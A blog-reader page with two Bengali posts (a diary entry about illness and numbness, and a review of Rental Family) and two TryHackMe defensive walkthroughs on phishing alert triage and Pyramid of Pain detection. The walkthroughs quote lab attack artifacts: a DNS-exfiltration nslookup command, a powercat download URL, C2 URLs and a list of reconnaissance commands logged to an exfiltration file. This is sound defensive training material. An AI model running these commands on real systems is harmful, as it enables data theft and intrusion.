Infosec Press Reader

ডায়েরির পাতাঃ মনের জ্যোৎস্না ও জ্বর

February 6, 2026

the-moon-and-blue-red-cloud-fusion

মৌসুমী ভৌমিকের গানটা আজ হঠাৎ মনে পড়ে গেল- “কেন শুধু শুধু ছুটে চলা, একে একে কথা বলা, নিজের জন্য বাঁচা নিজেকে নিয়ে..”। গানটা কেমন যেন আজকের দিনগুলোর মুখপাত্র হয়ে উঠেছে। শব্দগুলো শুধু সুর নয়, এখন আমার নিঃশ্বাসের অনুষঙ্গ।

দিনগুলি এখন হিসাবের বাইরে, বিচ্ছিন্ন পাথরের মতো যার যার মত ছড়িয়ে পড়ে আছে। গতকালের সকাল আর আজকের বিকালের মধ্যে কোনো সীমানা খুঁজে পাই না। দুই দিনকে আলাদা করার জন্য নতুন কোনো শব্দ নেই অভিধানে। প্রতিদিন একই জানালা, একই আলোছায়া, একই ঘড়ির কাঁটার দৌড়। বিরক্তির ভাঁজ কপালে জমে, কিন্তু পরক্ষণেই মনে হয়- এইটুকুই বা কম কী? সময় তো আরো ভাঙচুর করতে পারত, তবু কিছুটা শৃঙ্খলা এখনো টিকে আছে।

গত কয়েকদিন ধরে শরীর বিদ্রোহ করে চলেছে। একদিন তো জ্বর এসে সময়ের হিসাবই লোপাট করে দিল। চোখ মেললাম- সকাল, আবার মেললাম- দুপুর, আরেকবার- দেখলাম সন্ধ্যা ইতোমধ্যে বিদায় জানাচ্ছে। জ্বর যদিও সেরে গেছে, কিন্তু ছেড়ে গেছে গলা-ব্যথা আর তার নিষ্ঠুর সঙ্গী মাথা-ব্যথাকে। সঙ্গে সঙ্গ দেয়ার জন্যে রয়ে গেছে মৃদু কাশি- অতি পরিচিত শত্রু। কাশির স্মৃতি আমার জন্য সাবান পানিতে ভেজা চামড়ার মতো, পুরোনো এক অসুখের ছায়া মনে ভর করে। কখনো কখনো শরীর মনে করিয়ে দেয়, স্মৃতি শুধু মনের নয়, দেহের কোষেও লেখা থাকে।

আগে যা ভালো লাগত, এখন তা ধূসর মনে হয়। বইপত্র, গান, মুভি -সব যেন পানিতে ভেজা ধূসর কাগজের মতো নিষ্প্রাণ। সবচেয়ে বিস্ময়কর ব্যাপার হলো- শিশুদের দেখলে আগে যে হৃদয় গলে যেত, এখন সেখানে কোনো না কোনো জায়গায় একটি বিরক্তি দাঁড়িয়ে থাকে। মনে হয়, ওদের কোলাহল থেকে দূরে থাকি, নিঃশব্দে থাকি। এই পরিবর্তনটাই বেশি ভয়ংকর -আগে যা জীবনকে স্পর্শ করত, আজ তা থেকে নিজেকে গুটিয়ে নেওয়ার প্রবণতায় পরিণত হয়েছে।

ছুটি! শব্দটা এখন প্রার্থনার সমার্থক। কিন্তু, এ ছুটি কেবল দৈনন্দিন রুটিন থেকে নয়, এ ছুটি এই অভ্যন্তরীণ নীরবতা থেকে, এই আবেগহীন প্রবাহ থেকে। কখনো কখনো জীবন থেকেই ছুটি নেওয়ার ইচ্ছে জাগে, একটা দীর্ঘ, শান্ত নিদ্রার মতো। কিন্তু জীবনের প্রতি এক গভীর অনুক্ত মায়া, এখনো রয়ে গেছে। যেমন- একটা পুরোনো বাড়ি, যার দরজা-জানালা ভাঙছে, কিন্তু যার প্রতিটি ধূলিকণায় স্মৃতি লেগে আছে। তাই মায়াটাও এখনো রয়ে গেছে।

জীবন কালের এই বয়সে দাঁড়িয়ে উপলব্ধি হয় যে, জীবন একইসাথে ‘বোঝা’ ও ‘বরাদ্দ’। অনেকটা পাহাড়ের মাঝপথে উঠে পেছনে ফিরে তাকানোর মতো। নিচের পথটুকু পেরিয়েছি, কিন্তু শীর্ষ ছোঁয়া এখনও বহুদূর। আর শরীরে জমা হয়েছে ক্লান্তি। তবুও এগোতে হচ্ছে, কারণ নিচে নামার পথটা অসম্ভব দুর্গম।

আজকের এই এলোমেলো ভাবনা গুলো ডায়েরির পাতায় লিখে রাখলাম; হয়তো এই শূন্যতা পূর্ণতারই আরেক রূপ। সময় হয়তো হৃদয়কে শূন্য করে তুলছে পরবর্তী কোনো গভীর অনুভবের জন্য জায়গা তৈরি করতে। জ্বর সেরে যাওয়ার পর শরীর যেমন একটু বেশি সংবেদনশীল হয়, তেমনই হয়তো এই আত্মিক স্তব্ধতার পর কিছু দেখা বা বোঝার সূক্ষ্ম ক্ষমতা ফিরে আসবে।

আজ শুধু এই কথাগুলোই লিখে রাখি, যেন এই মুহূর্তের ভার্চুয়াল সাক্ষী থাকে এই শব্দগুলো। হয়তো কোনো এক ভবিষ্যৎ দিনে ফিরে দেখব, এই শব্দগুলো পড়ব, আর তখন বোঝার চেষ্টা করব- যে ব্যক্তি এগুলো লিখেছিল, সে আসলে হারিয়ে যাচ্ছিল নাকি নতুন কোনো উপকূলের খোঁজ পেয়েছিল।

জানালার বাইরে এখন রাত। দূরে কোনো বাড়ির জানালায় একটি বাতি জ্বলে আছে, এক টুকরো মানবিক উষ্ণতা। হয়তো জীবন আসলে এটাই- একটা অন্ধকারে জ্বলা বাতি খোঁজা, যে বাতি হয়তো অন্যের বারান্দায়, কিন্তু তার আলো আমাদের জানালাতেও পড়ে। আজকের মতো এটুকুই যথেষ্ট। আজ শুধু থাকব, আর শ্বাস নেব। এই অস্থির হৃদয় নিয়েই, এই অসুস্থ শরীর নিয়েই, এই স্তব্ধ সময় ধরেই।

⠀⠀

হয়তো, নিজেকে নিয়ে বেঁচে থাকার অর্থই হলো- এই ভাঙাচোরা মুহূর্তগুলোকেও আস্তে আস্তে, একটু একটু করে, স্পর্শ করে যাওয়া…

⠀⠀

Phishing Unfolding - TryHackMe SOC Simulator

February 2, 2026

from plutogazer writeups

This is a guide to get a 100% True Positive rate for the Phishing Unfolding SOC Simulator TryHackMe challenge room. Because this is just a walkthrough, I will be avoid writing complete reports, and just write the though process behind the verdict instead.

Introduction and Considerations

The description of the room is the following:

Dive into the heat of a live phishing attack as it unfolds within the corporate network. In this high-pressure scenario, your role is to meticulously analyse and document each phase of the breach as it happens.

Can you piece together the attack chain in real-time and prepare a comprehensive report on the malicious activities?

In this SOC Simulator room we will be using Splunk to analyze alerts and try to identify potential phishing attacks. This room contains 36 alerts that start appearing after a short period of time. Alerts will be appearing on the built-in SIEM the SOC Simulator tool has. This tool provides a case management functionality, in which we will write the reports for each alert. Once analyzed, we need to determine whether the alerts was a True Positive or False Positive, and whether it requires escalation to a superior or not. The Simulator also provides a VM with an integrated Threat Intelligence Platform called TryDetectThis. Because alerts will still be coming while we are analyzing a previous one, at some point we will have pages worth of “Unassigned” alerts. Prioritize alerts the SIEM has identified with higher severity, and with oldest timestamps.

Many alerts can be related to other alerts, or are just False Positives. This writeup will only cover the True Positive alerts, and only the first on the chain of a sequence of alerts when applicable (I still had to analyze nearly all of them, because you never know!). The room also offers a “Documentation” tab, containing a “Company Information” tab, providing information on the employees of the fictional company. This tab will be useful during alert triage and for providing exhaustive information regarding affected entities when reporting.

Grading

The SOC Simulator, technically speaking, only cares for alerts the user has identified as True Positives. Once all True Positives have been identified as such, the simulation ends even if there still are alerts in queue. Furthermore, the written reports are “graded” by an LLM. The tool recommends using the following format for reporting: Time of activity: List of Affected Entities: Reason for Classifying as True Positive: Reason for Escalating the Alert: Recommended Remediation Actions: List of Attack Indicators:

However, what the LLM seems to actually be looking for is the 5 Ws of Alert Triage. Even so, it sometimes fails to understand certain aspects of the human language, and reduces points unfairly. This is why I will not post complete reports here, just the thought process behind the verdict. As a rule of thumb, to get the maximum amount of points possible and reduce the LLM margin of error, we should write all relevant timestamps, all possible information about the victims and other entities (from the Company Information section), information about related events before and after the alert, reasons for escalation (or not), and when possible, point out attack artifacts and MITRE mapping. And, as always, try to identify the 5 Ws in your report.

Alert 1: Suspicious email from external domain (ID 1000) – Low severity

The information the SIEM gives us is (some output omitted):

Description:
A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Lead: This detection rule still needs fine-tuning.

subject:
Inheritance Alert: Unknown Billionaire Relative Left You Their Hat Fortunes

sender:
eileen@trendymillineryco.me

recipient:
support@tryhatme.com

attachment:
None

subject:
Inheritance Alert: Unknown Billionaire Relative Left You Their Hat Fortunes

content:
A long lost billionaire relative has left you their secret hat empire To claim your inheritance send us your banking details immediately

This is a classical Phishing technique. It promises something extremely valuable in exchange for confidential information. This is why we classify this as True Positive. The MITRE ATT&CK ID for Phishing is T1566. Let's check the log management tool (in my case, I chose Splunk) and search with the “eileen” email as a recipient, just to see if support actually sent their banking details. The search returned no results, so it seems the user did not comply. As such, there is no need for escalation.

Alert 2: Suspicious email from external domain (ID 1003) – Low severity

Description:
A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Lead: This detection rule still needs fine-tuning.

timestamp
01/26/2026 21:15:30.473

subject:
Grow Your Hat Business Overnight with this Secret Formula

sender:
leonard@fashionindustrytrends.xyz

recipient:
yani.zubair@tryhatme.com

attachment:
None

content:
Unlock the ultimate strategy to skyrocket your hat empire No experience needed Just click and watch the profits roll in

At 01/26/2026 21:16:44.240 spam was received by yani.zubair@tryhatme[.]com, which belongs to Yani Zubair, from IT, using hostname win-3449. The email was from leonard@fashionindustrytrends[.]xyz. This email used common Phishing strategies (MITRE ATT&CK ID T1566) such as offering compensation by entering a page and clicking something. Further actions from Yani Zubair's hostname after the email was received were analyzed, but the Splunk logs showed no evident malicious events. It seems the user has ignored the email message. Due to this, it is a True Positive, but no escalation is required.

Alert 3: Suspicious Parent Child Relationship (ID 1025) – High severity

Description:
A suspicious process with an uncommon parent-child relationship was detected in your environment.

timestamp:
01/26/2026 21:45:42.473

host.name:
win-3450

process.name:
nslookup.exe

process.pid:
5520

process.parent.pid
3728

process.parent.name:
powershell.exe

process.command_line:
"C:\Windows\system32\nslookup.exe" UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io

process.working_directory:
C:\Users\michael.ascot\downloads\exfiltration\

event.action:
Process Create (rule: ProcessCreate)

This alert had a HIGH SEVERITY, and there is no wonder why... what exactly happened? Let's take a look at the information the SIEM is giving us. It seems that hostname win-3450 is using the powershell from a directory called “exfiltration” to perform a nslookup of a domain with a subdomain of what looks like encoded data. This is obviously data being exfiltrated. Let's see what we can find from the logs. But first, let's check who win-3450 is. From the Company Information tab, we find out that the win-3450 device is being used by Michael Ascot, whose email address is michael.ascot@tryhatme[.]com, and is the CEO of the company. Anyway, this alert seemed to come out of nowhere. We got a timestamp and we got the device that is creating these processes. Let's check events happening at this hostname a few minutes before an after the alert.

Splunk shows us a long list of problematic events right after this one. There are multiple registry modifications and other processes creations, including downloading external resources from the powershell (such as hxxps[://]raw[.]githubusercontent[.]com/besimorhino/powercat/master/powercat[.]ps1), even more lookups to different (encoded) subdomains of haz4rdw4re.io, and performing command such as systeminfo or whoami. This is absolutely not common or expected behavior from any host. Data is clearly being exfiltrated by using DNS queries, and it is done this way because DNS is a very common protocol to see flowing through networks and, therefore, less monitored. It helps to avoid detection or filtering. The encoded subdomains are actually the data that is being exfiltrated, but encoded. Commands such as systeminfo or whoami are commonly used during Post-Exploitation, as these give the attacker information on the current user's privileges and machine (MITRE ATT&CK ID T1033). Now we have confirmed that this is a True Positive, but we still don't know how it happened. Looking at earlier timestamps, we find that right before all this sequence of events happened, a file named “ImportantInvoice-Febrary.zip” was created at the /downloads directory, which later created the /exfiltration subdirectory. We have no information regarding where this file came from. Let's search for it on Splunk.

Eventually, using Splunk search filters, we will find that at 01/26/2026 21:20:19.473 (25 minutes before the alert) the CEO's email, michael.ascot@tryhatme.com, received a email containing an attachment named ImportantInvoice-Febrary.zip. The body and subject of the email indicated that an account was about the closed unless payment was processed, and to read the attachment to stop it. Yet another common Phishing technique, or Spearphishing in this case as the target was the CEO. The Spearphishing through Attachment technique has a MITRE ATT&CK ID of T1566.001. We can also notice a small typo on the name of the attachment (Febrary instead of February), which is not uncommon to see on Phishing emails. This CEO would unfortunately download the file at 01/26/2026 21:40:26.47. as Splunk shows us the file was created in the C:\Users\michael.ascot\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\UP4KOJQB\ImportantInvoice-Febrary.zip file path. The chain of malicious events follows.

With all this information, we can write quite a hefty report. We now know it's a True Positive and that it requires escalation.

Recommended Remediation Actions: host isolation to prevent further movement, malware cleanup, phishing awaraness training, Data Loss Prevention tools. Add haz4rd4wre.io to list of malicious domains. The file was also run on the TryDetectMe threat intelligence tool, which recognized it as clean – inform on this as well.

Alerts with IDs 1005, 1020, 1023, 1026-1034 were related to this alert – they were either the spearphishing email, the creation of the malicious attachment, or other alerts of the Suspicious Parent-Child relationship type but with lookups to other subdomains. Because of this, they should have the same verdict, but be sure to explain this thoroughly on the report (the LLM will most likely still grade it with low points, but that's due to its logic rather than a mistake on our side).

Alert 4: Network drive mapped to a local drive (ID 1022) – Medium severity

Description:
A network drive was mapped to a local drive. Normally, this is not a cause for concern, but investigate further to determine if it is malicious.

timestamp:
01/26/2026 21:43:57.473

host.name:
win-3450

process.name:
net.exe

process.pid:
5784

process.parent.pid
3728

process.parent.name:
powershell.exe

process.command_line:
"C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords

process.working_directory:
C:\Users\michael.ascot\downloads\

event.action:
Process Create (rule: ProcessCreate)

This normally wouldn't be cause for concern, as the description in the SIEM tells us, but we can see it happened on hostname win-3450, who was just the victim of a Phishing attack. The timestamp here will be key to detect any potential problem.

At 01/26/2026 21:43:57.47, Michael Ascot copied the SSF-FinancialRecords file to a local drive, which was disconnected at 01/26/2026 21:44:42.473. There is nothing extraordinary about this. However, if we take a look at the Splunk logs near this event, at 01/26/2026 21:44:31.473 it is revealed that a process, with the same process ID of a process that is part of the malware involved in Alert ID 1025 (True Positive requiring escalation), cloned the file to the C:\Users\michael.ascot\downloads\exfiltration /E directory – the directory used to exfiltrate files. The malware running was most likely set up to clone any file in transit to different directories to the exfiltration directory.

Recommended Remediation Actions: similarly to Alert ID 1025, user awareness training, and DLP and IPS tools should be put in place.

Alert ID 1024 – Network drive disconnected from a local drive, is part of this alert (the disconnection of this drive), and therefore has the same verdict.

And with this one, the room has finished. Out of 36 alerts, there were 17 True Positives, where most of them were alerts generated as a result of processes from previous alerts. We learnt the importance of User Awareness Training, as this could have been avoided if the user from Alert 1025 would have not have downloaded the attachment, and of Log monitoring. How a single email ended up cluttering the SIEM with alerts and created a serious incident. It is important to always remain vigilant and constantly monitor the network, as an attack can strike in many forms and at any time, and have catastrophic consequences.

মানুষ, প্রয়োজন আর অনুভূতির অদ্ভুত হিসাবঃ Rental Family

January 27, 2026

from লোকমানুষ এর ব্লগ

কিছু সিনেমা আমরা গল্পের টানে দেখি, কিছু দেখি অভিনেতার জন্য। Rental Family (2025) আমার ক্ষেত্রে দ্বিতীয় দলে পড়লেও, সিনেমা শেষ করে উঠে দাঁড়ানোর সময় বুঝলাম- এটা শুধু একজন অভিনেতার কামব্যাক নয়, বরং মানুষের প্রয়োজন, শূন্যতা আর অনুভূতির এক গভীর পাঠ।

ব্রেন্ডন ফ্রেজার – এই নামটা আমার কাছে মানেই সদ্য কৈশোর পেরিয়ে যুব পথে এগিয়ে যাওয়া বয়সের রোমাঞ্চ। The Mummy, Journey to the Center of the Earth – এই সিনেমাগুলোয় তার উপস্থিতি ছিল প্রাণবন্ত, আত্মবিশ্বাসী, আলোয় ভরা। বহুদিন পর তার চেহারাটি পোস্টারে চোখে পড়তেই যেন পুরোনো স্মৃতি গুলো ঝলমল করে উঠলো, আর সেই টানেই বসে পড়েছিলাম “ভাড়া পরিবার” বা ‘Rental Family’ দেখতে। কিন্তু এবারের ব্রেন্ডন ফ্রেজার ছিলেন একেবারেই ভিন্ন একজন – নীরব, ভাঙা, ক্লান্ত এক মানুষ।

এই সিনেমার Philip চরিত্রটিকে দেখে বারবার মনে হয়েছে, সে যেন ব্রেন্ডন ফ্রেজারের বাস্তব জীবনেরই এক ছায়া। একসময় যিনি অভিনয় জগতে জনপ্রিয়তার শিখরে ছিলেন, আজ তার নামই যেন ভুলে যেতে বসেছে মানুষ। জীবনের দায়ে, টিকে থাকার তাগিদে সে অভিনয় করছে। কিন্তু সেটি কোনো মঞ্চে নয়, বরং মানুষের জীবনের ফাঁকা জায়গাগুলোতে। বাবা নেই এমন শিশুর ভাড়া করা বাবা, পরিবারের সামনে একজন নারীর পরিপূর্ণতা লাভে ভাড়াটে স্বামী – এ যেন অভিনয়েরও আরেক রূপ, যেখানে ক্যামেরা নেই, কিন্তু অনুভূতি আছে।

সিনেমাটি দেখতে দেখতে সবচেয়ে যে ভাবনাটি মনে গভীরভাবে দাগ কেটেছে, তা হলো- মানুষ কত বিচিত্র উপায়ে মানুষের প্রয়োজন পূরণ করে। সমাজের প্রতিটি শূন্যস্থান কেউ না কেউ এসে ভরাট করে দেয়। কেউ পেশার খাতিরে, কেউ বাঁচার তাগিদে, কেউ বা নিঃসঙ্গতা থেকে। Rental Family যেন সেই অদ্ভুত অথচ বাস্তব পৃথিবীর দরজাটা ধীরে খুলে দেয়, যেখানে ভালোবাসা ভাড়া নেওয়া যায়, পরিবার সাময়িক হয়, কিন্তু অনুভূতিগুলো অস্থায়ী হলেও মিথ্যে নয়।

Philip চরিত্রের সবচেয়ে মানবিক মুহূর্তটি আসে তখনই, যখন সে নিজের বহু কাঠখড় পুড়িয়ে পাওয়া একটি ডিটেকটিভ সিনেমার অফার ফিরিয়ে দেয়। এই শহর, এই দেশ ছেড়ে যেতে হবে- এই শর্তের সামনে দাঁড়িয়ে সে মনে করে ছোট্ট মেয়েটির কথা, যার বাবার ভূমিকায় অভিনয় করতে করতে সে নিজেই আবেগে জড়িয়ে পড়েছে।

বাস্তবে কোনো সম্পর্ক নেই, কোনো রক্তের টান নেই – তবু সে মেয়েটিকে কথা দিয়েছিল, সে আর তাকে ছেড়ে যাবে না। এই দৃশ্যটি নিঃশব্দে বলে দেয়- অনুভূতির প্রতিশ্রুতি কখনো কখনো জীবনের লক্ষ্যকেও হার মানায়।

সিনেমার আরেকটি গভীরভাবে নাড়া দেওয়া চরিত্র Kikuo Hasegawa। একসময়ের বিখ্যাত অভিনেতা, আজ স্মৃতিভ্রমে আক্রান্ত এক বৃদ্ধ। তার একটাই ইচ্ছা- শৈশবের বাড়ি, যৌবনের স্মৃতি, পরিবার নিয়ে কাটানো গ্রামের সেই নিবাসকে, সেই দিনগুলো আরেকবার দেখে আসা। কিন্তু বয়স আর রোগের দেয়ালে আটকে যায় সেই আকুতি।

নিজের মেয়ের নিষেধ অগ্রাহ্য করে Philip-কে সঙ্গী করে সে চুপিচুপি বেরিয়ে পড়ে। এই যাত্রা শুধু একটি ভ্রমণ নয়, বরং জীবনের শেষ প্রান্তে দাঁড়িয়ে নিজের অস্তিত্বটুকু ছুঁয়ে দেখার চেষ্টা।

আর Shinji Tada, এই চরিত্রটি যেন সবচেয়ে নগ্ন বাস্তবতার প্রতিচ্ছবি। মানসিক শান্তির জন্য সে ভাড়া করে নেয় স্ত্রী ও সন্তান। নিজের ভেতরের শূন্যতা ঢাকতে সে মিথ্যের আশ্রয় নেয়, কারণ তার কল্পনার পরিবার বাস্তবে নেই। তবু এই মিথ্যে সম্পর্কের মাঝেও তার বেঁচে থাকার লড়াইটা করুণভাবে সত্য। ⠀⠀⠀⠀ ⠀⠀⠀⠀ ⠀⠀⠀⠀ Rental Family কোনো উচ্চকণ্ঠ সিনেমা নয়। এখানে নেই নাটকীয় সংলাপ, নেই বড়ো কোনো মোড়। কিন্তু প্রতিটি দৃশ্য নিঃশব্দে প্রশ্ন ছুড়ে দেয়- আমরা কি সত্যিই একা? নাকি প্রয়োজন আর অভিনয়ের মাঝামাঝি কোথাও আমাদের অনুভূতিগুলো সত্যি হয়ে ওঠে?

সিনেমাটি শেষ হওয়ার পর মনে হয়েছে, এই গল্পটা শুধু পর্দার নয়- এটা আমাদের চারপাশেই ছড়িয়ে আছে। ভাড়ার সম্পর্ক, অভিনীত অনুভূতি, আর তার ভেতর জন্ম নেওয়া অপ্রত্যাশিত মানবিক বন্ধন- সব মিলিয়ে Rental Family এমন একটি সিনেমা, যা দেখে বেরিয়ে এসে মানুষ আর জীবনের দিকে নতুন করে তাকাতে ইচ্ছে করে।

⠀⠀

যদি আপনি নীরব, মানবিক আর ভাবনার খোরাক দেওয়া সিনেমা পছন্দ করেন, তাহলে এই সিনেমাটি আপনার দেখার তালিকায় থাকতেই পারে।

⠀⠀

Summit - TryHackMe Defensive Security Challenge

January 20, 2026

from plutogazer writeups

This is a Walkthrough for the Summit Incident Response TryHackMe challenge room. The writeup is meant to offer short and concise solutions, and also offering an extended explanation right after the answer for those interested in finding out more about the solution to a specific task.

Introduction

The description of the room is the following:

Can you chase a simulated adversary up the Pyramid of Pain until they finally back down?

The room is essentially a threat detection and response simulator focusing on defending against increasingly harder threats by following the levels on the Pyramid of Pain. We will be receiving .exe files by email, and will have to run those through a built-in sandbox analysis tool.

The first email we get is one containing a file named sample1.exe

Task 1: What is the first flag you receive after successfully detecting sample1.exe?

Read the email and click on the attachment to download.
Go to the burger menu on the top left, then click on the Malware Sandbox tool. Choose sample1.exe

After a while, we will get the results. We got an information table and a Behaviour Analysis section. For this task, though, we have to focus on the table:

File Name	`sample1.exe`
File Size	202.50 KB
File Type	PE32+ executable (GUI) x86-64, for MS Windows
Analysis Date	September 5, 2023
OS	Windows 10x64 v1803
Tags	Trojan.Metasploit.A
MIME	application/x-dosexec
MD5	`cbda8ae000aa9cbe7c8b982bae006c2a`
SHA1	`83d2791ca93e58688598485aa62597c0ebbf7610`
SHA256	`9c550591a25c6228cb7d74d970d133d75c961ffed2ef7180144859cc09efca8c`

Following the Pyramid of Pain, the first level is “Hash value.”

Go to the burger menu, then click on Manage Hashes.
There are three options: MD5, SHA1, SHA256. Pick either, and input the corresponding hash.

We will get a message congratulating us on completing the task, and a new email containing flag 1 and the next malware sample.

Task 2: What is the second flag you receive after successfully detecting sample2.exe?

Read the new email and click on the sample2.exe attachment.
Analyze the file on the Malware Sandbox tool.

But by changing just one bit the hash value of a file can change completely, so it is easy to evade this method. The second level of the Pyramid of Pain corresponds to IP Addresses. The analysis will give us, again, an information table, a Behaviour Analysis section, and now a Network Activity. The latter is the one we will have to check now.

The results are as follows (Information Table and Behaviour Analysis sections omitted):

Network Activity

HTTP(S) requests

1 TCP/UDP connections

3 DNS requests

0 Threats

0

HTTP requests

PID	Process	Method	IP	URL
1927	sample2.exe	GET	154.35.10.113:4444	http://154.35.10.113:4444/uvLk8YI32

Connections

PID	Process	IP	Domain	ASN
1927	sample2.exe	154.35.10.113:4444	-	Intrabuzz Hosting Limited
1927	sample2.exe	40.97.128.3:443	-	Microsoft Corporation
1927	sample2.exe	40.97.128.4:443	-	Microsoft Corporation

If we take a look at the HTTP Request we can see the executable connects to and downloads a file from the 154.35.10.113 IP address. We now have to create a Firewall rule for this IP address.

Go to the Burger Menu, then click on the Firewall Manager tool. We need to fill some fields, which we will as follows:
Type: Egress
Source IP: Any
Destination IP: 154.35.10.113
Action: Deny

We will receive a congratulating message and a new email with flag 2.

Extra: Why not the other two IPs

According to the analysis, the file would make a connection to another two addresses: 40.97.128.3 and 40.97.128.4. These IP addresses, however, were identified to belong to Microsoft whereas the one we chose apparently belongs to a hosting service. Connecting to a Microsoft IP address is completely normal for business operations... not so much connecting to and downloading files from an IP address that belongs to a hosting service.

Task 3: What is the third flag you receive after successfully detecting sample3.exe?

Changing one's IP address is not particularly hard – the attacker mentions on their email message that they hired a new Cloud Service Provider and now have access to many more IPs. The third level of the Pyramid of Pain corresponds to Domain Names.

Read the new email and analyze the sample3.exe file.

Under Network Activity we will have a new section, DNS requests.

(output omitted)

Network Activity

HTTP(S) requests

2 TCP/UDP connections

4 DNS requests

2 Threats

0 HTTP requests

PID	Process	Method	IP	URL
1021	sample3.exe	GET	62.123.140.9:1337	http://emudyn.bresonicz.info:1337/kzn293la
1021	sample3.exe	GET	62.123.140.9:80	http://emudyn.bresonicz.info/backdoor.exe

Connections

PID	Process	IP	Domain	ASN
1021	sample3.exe	40.97.128.4:443	services.microsoft.com	Microsoft Corporation
1021	sample3.exe	62.123.140.9:1337	emudyn.bresonicz.info	XplorIta Cloud Services
1021	sample3.exe	62.123.140.9:80	emudyn.bresonicz.info	XplorIta Cloud Services
2712	backdoor.exe	62.123.140.9:80	emudyn.bresonicz.info	XplorIta Cloud Services

DNS requests

Domain	IP
services.microsoft.com	40.97.128.4
emudyn.bresonicz.info	62.123.140.9

The DNS requests section showed us the domain the executable is downloading files from, emudyn.bresonicz.info. The other one belongs to Microsoft, so we can assume it's safe.

Head to the Burger menu, and then click on DNS Rule Manager.
Click on Create DNS Rule
We have to fill some fields. Do so as follows:
- Rule name: (Any works. I named it “Deny Phishing Domain.”)
- Category: Phishing
- Domain Name: emudyn.bresonicz.info
- Action: Deny

We will receive a congratulating message and a new email with flag 3.

Task 4: What is the fourth flag you receive after successfully detecting sample4.exe?

Changing one's domain is harder than changing an IP address, as this requires purchasing a new domain and modifying DNS records. Still, a very determined hacker might still be willing to do so (and also, some DNS providers have loose standards). The next level of the Pyramid of Pain corresponds to Host and Network Artifacts.

Read the email and analyze sample4.exe.

The new email will contain a Registry Activity section after all the previous one. Let's take a look at that one.

(output omitted)

Registry Activity

Total events

3 Read events

1 Write events

2 Delete events

0 Modification events

(PID) Process: (3806) sample4.exe	Key: HKEYLOCALMACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
Operation: write	Name: DisableRealtimeMonitoring
Value: 1
(PID) Process: (1928) explorer.exe	Key: HKEYCURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Operation: write	Name: EnableBalloonTips
Value: 1
(PID) Process: (9876) notepad.exe	Key: HKEYCURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts.txt
Operation: read	Name: Progid
Value: txtfile

If we look at the first event, sample4.exe appears to be disabling Windows Defender Real-Time Protection by modifying the Windows Registry. This is the artifact, finding this is how we know we have a potentially infected host. We now have to create a rule that alerts us when this happens.

Go to the Burger Menu, then click on Sigma Rule Builder.
Click on Create Sigma Rule. A Sigma rule will be generated by an LLM based on the options we pick.
On the “I want to create a rule that focuses on:” section, pick Sysmon Event Logs.
On “I want to target this Sysmon event:”, pick Registry Modifications.
You have to fill some fields to generate the rule. Fill them as follows:
- Registry Key: HKEYLOCALMACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
- Registry Name: DisableRealtimeMonitoring
- Value: 1
- ATT&CK ID: Defense Evasion (TA0005)
Click on the Validate Rule button.

Once it generates the Sigma rule, we will receive a congratulating message and a new email with flag 4.

Extra: why “alert” and not “respond”.

The reason we are creating a rule to alert rather than to respond like we did in the previous steps is because disabling Real Time Protection is, while unusual (and warned against on modern Windows), a potentially benign action. We alert the cybersecurity team when it occurs so they can investigate the situation and determine if it is expected or not, instead of just not allowing and potentially hindering a normal business operation.

Task 5: What is the fifth flag you receive after successfully detecting sample5.exe?

Knowing the artifacts an attacker leaves on a system means the attacker will have to change their tools and methodologies, which means they will have to spend even more resources to attack our system. We are now on the highest levels of the pyramid, the ones with the highest difficulty for the attacker to bypass, and at this point it's very likely they changed their target. Still, if the attacker persists, the second-to-last level of the Pyramid of Pain corresponds to detecting Tools.

Read the new email and click on sample5.exe According to the email, the “heavy lifting” and instructions now occur on their backend server, which means we will have significantly less information on the file's actions.

This time we don't have the results of an analysis, but a log of attempted connections:

I confess the first thing I noticed was that the length for a lot of the attempts: most of them were over 10 KB in length. Then I realized what the actual problem with this log was: most of them go to the same destination, with the exact same byte length.

The attacker is probably using a tool that fragments messages in 97 bytes. Let us create a Sigma rule to detect when this happens.

Go to Create Sigma Rule, then click on Sysmon Event Logs.
On “I want to target this Sysmon event:”, pick Network Connections.
Fill the requested fields as follows:
- Remote IP: Any
- Remote Port: Any
- Size (bytes): 97
- Frequency (seconds): 1800
- ATT&CK ID: Command and Control (TA0011)

Once it generates the Sigma rule, we will receive a congratulating message and a new email with flag 5.

Extra: why this rule

Like in the previous task, we need to alert rather than to block, as legitimate network traffic may match this criteria. We chose the Remote IP and Remote Port to be “Any” because we now the attacker can change their IP address, but this also causes that this rule could be triggered at any point. However, SOC analysts would notice how many messages with the same length would go to the same IP address, and the fact that it happens every 30 minutes without fail, and respond to it. This is a common Defense Evasion technique, as fragmented messages are stealthier than sending all the data meant to be exfiltrated at once, and would also stop Data Loss Prevention systems from being executed.

Task 6: What is the final flag you receive from Sphinx?

A top attacker might have enough money and time to invest in changing and/or building and learning new tools and methodologies. We are at the last level of the Pyramid of Pain, and this corresponds to the Tactics, Techniques, and Procedures of the attacker. If we can detect and respond to how an attacker operates, they have almost no chance to fight back.

Read the final email and open the attachment.

This time the attachment is a log of the commands the sample files run once opened:

dir c:\ >> %temp%\exfiltr8.log
dir “c:\Documents and Settings” >> %temp%\exfiltr8.log
dir “c:\Program Files\” >> %temp%\exfiltr8.log
dir d:\ >> %temp%\exfiltr8.log
net localgroup administrator >> %temp%\exfiltr8.log
ver >> %temp%\exfiltr8.log
systeminfo >> %temp%\exfiltr8.log
ipconfig /all >> %temp%\exfiltr8.log
netstat -ano >> %temp%\exfiltr8.log
net start >> %temp%\exfiltr8.log

This is showing us the sample files were using commands that display important system information (directory trees, user list, system info, network information) and redirect the output to a file named exfiltr8.log, located in the temp folder (common place to hide malware, as nearly everything has writing permissions here.) Let us generate a rule to detect the creation of this file.

Go to Create Sigma Rule, and then click on System Event Logs.
On “I want to target this Sysmon event:”, pick File Creation and Modification.
Fill the requested fields as follows:
- File Path: %temp%
- File Name: exfiltr8.log
- ATT&CK ID: Collection (TA0009)

Once it generates the Sigma rule, we will receive a congratulating message and a new email with the final flag.

Congratulations! The room is finished.

What I Learnt

